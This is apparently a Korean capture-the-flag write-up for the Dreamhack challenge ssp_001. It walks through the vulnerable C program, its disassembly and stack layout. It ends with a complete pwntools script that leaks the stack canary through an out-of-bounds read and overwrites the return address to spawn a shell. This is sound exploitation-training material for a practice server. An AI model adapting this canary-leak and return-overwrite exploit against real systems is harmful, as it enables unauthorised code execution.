# [Dreamhack] ssp_001

# ssp\_001

[https://dreamhack.io/wargame/challenges/33](https://dreamhack.io/wargame/challenges/33)

소스코드를 확인해보면

```c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
void get_shell() {
    system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
    printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
    puts("[F]ill the box");
    puts("[P]rint the box");
    puts("[E]xit");
    printf("> ");
}
int main(int argc, char *argv[]) {
    unsigned char box[0x40] = {};
    char name[0x40] = {};
    char select[2] = {};
    int idx = 0, name_len = 0;
    initialize();
    while(1) {
        menu();
        read(0, select, 2);
        switch( select[0] ) {
            case 'F':
                printf("box input : ");
                read(0, box, sizeof(box));
                break;
            case 'P':
                printf("Element index : ");
                scanf("%d", &idx);
                print_box(box, idx);
                break;
            case 'E':
                printf("Name Size : ");
                scanf("%d", &name_len);
                printf("Name : ");
                read(0, name, name_len);
                return 0;
            default:
                break;
        }
    }
}
```

`get_shell()`의 주소로 덮으면 플래그를 획득할 수 있는 것으로 보인다.

F를 입력하면 box에 입력을 받고 P를 입력하면 print\_box()함수를 호출하여 해당 인덱스의 값을 출력한다. E를 입력하면 name\_len에 이름의 크기를 입력하고 미리 적은 이름의 크기만큼 이름을 입력받는다.

gdb로 메인함수를 열어보면

```bash
pwndbg> disassemble main
...
0x0804886c <+321>:   mov    edx,DWORD PTR [ebp-0x8]
0x0804886f <+324>:   xor    edx,DWORD PTR gs:0x14
```

해당 부분이 카나리 값 비교임을 알 수 있다. 카나리는 `[ebp-0x8]`에 위치한다.

위로 다시 돌아가서 메인함수에서

```bash
 0x080487a0 <+117>:   call   0x80484a0 <read@plt>
   0x080487a5 <+122>:   add    esp,0xc
   0x080487a8 <+125>:   movzx  eax,BYTE PTR [ebp-0x8a]
   0x080487af <+132>:   movsx  eax,al
   0x080487b2 <+135>:   cmp    eax,0x46
   0x080487b5 <+138>:   je     0x80487c6 <main+155>
   0x080487b7 <+140>:   cmp    eax,0x50
   0x080487ba <+143>:   je     0x80487eb <main+192>
   0x080487bc <+145>:   cmp    eax,0x45
   0x080487bf <+148>:   je     0x8048824 <main+249>
   0x080487c1 <+150>:   jmp    0x804887a <main+335>
   0x080487c6 <+155>:   push   0x804896c
   0x080487cb <+160>:   call   0x80484b0 <printf@plt>
   0x080487d0 <+165>:   add    esp,0x4
   0x080487d3 <+168>:   push   0x40
   0x080487d5 <+170>:   lea    eax,[ebp-0x88]
```

각각 F, P, E와 비교하고 있고, main+155를 따라가보면 `box`는 `ebp-0x88`에 위치하는 것으로 확인할 수 있다.

비슷하게

```bash
0x080487a0 <+117>:   call   0x80484a0 <read@plt>
0x080487a5 <+122>:   add    esp,0xc
0x080487a8 <+125>:   movzx  eax,BYTE PTR [ebp-0x8a]
```

에서는 `select`가 `[ebp-0x8a]`, 비슷한 원리로 C코드와 어셈블리 코드를 매치시켜나가면

```txt
+--------------------+  <- ebp - 0x94 (idx)
|        idx        |
+--------------------+  <- ebp - 0x90 (name_len)
|      name_len     |
+--------------------+  <- ebp - 0x8A (select[0x2])
|    select[0x2]    |
+--------------------+  <- ebp - 0x88 (box[0x40])
|     box[0x40]     |
|      ...          |
+--------------------+  <- ebp - 0x48 (name[0x40])
|     name[0x40]    |
|      ...          |
+--------------------+  <- ebp - 0x08 (카나리)
|      카나리       |
+--------------------+  <- ebp - 0x04 (dummy)
|      dummy        |
+--------------------+  <- ebp - 0x00 (sfp)
|       sfp         |
+--------------------+  <- ebp
		ret
```

dummy: sfp부터 카나리까지의 빈 공간

다시 로직으로 돌아와서 P를 누르고 인덱스를 누르면 2개씩 읽어온다고 했다. 이것을 통해 box를 넘어서 카나리까지 출력해버릴 수 있다. 0x88부터 0x8까지, 즉 128바이트 길이이다. 카나리는 4바이트이므로 4번, 131 130 129 128까지 수행해주면 된다. 그러면 카나리 릭이 성공한다.

그 이후에 get\_shell()의 주소로 덮어씌워주면 된다. 이것은 gdb에서 확인해도 되지만 ELF를 써서 가져와도 된다.

name을 입력받는 곳에서 name 40바이트, 카나리(실제값), 더미와 SFP 각각 4바이트씩 해서 RET까지 온 후 get\_shell()의 주소로 가게 하면 된다.

```python
from pwn import *

def slog(name, addr):
  return success(": ".join([name, hex(addr)]))

p = remote("host1.dreamhack.games", 17265)
e = ELF("./ssp_001")

get_shell = e.symbols['get_shell']

canary = b""

i = 131
while i >= 128:
  p.sendlineafter("> ", 'P')
  p.sendlineafter("Element index : ", str(i))
  p.recvuntil("is : ")
  canary += p.recvn(2)
  i = i - 1

canary = int(canary, 16)
slog("canary", canary)

payload = b'A' * 64
payload += p32(canary)
payload += b'B' * 4 # dummy
payload += b'C' * 4 # SFP
payload += p32(get_shell)

p.sendlineafter("> ", 'E')
p.sendlineafter("Name Size : ", str(len(payload)))
p.sendlineafter("Name : ", payload)

p.interactive()
```
